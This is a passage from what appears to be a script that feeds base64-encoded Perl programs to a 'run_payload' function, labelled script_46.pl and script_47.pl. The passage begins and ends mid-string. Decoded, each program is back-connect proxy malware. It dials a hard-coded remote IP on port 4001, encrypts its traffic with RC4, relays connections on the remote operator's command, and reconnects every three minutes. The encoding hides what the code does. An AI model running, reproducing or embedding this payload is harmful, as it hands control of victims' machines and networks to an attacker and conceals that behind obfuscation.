ZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_46.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg4JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_47.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg5JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc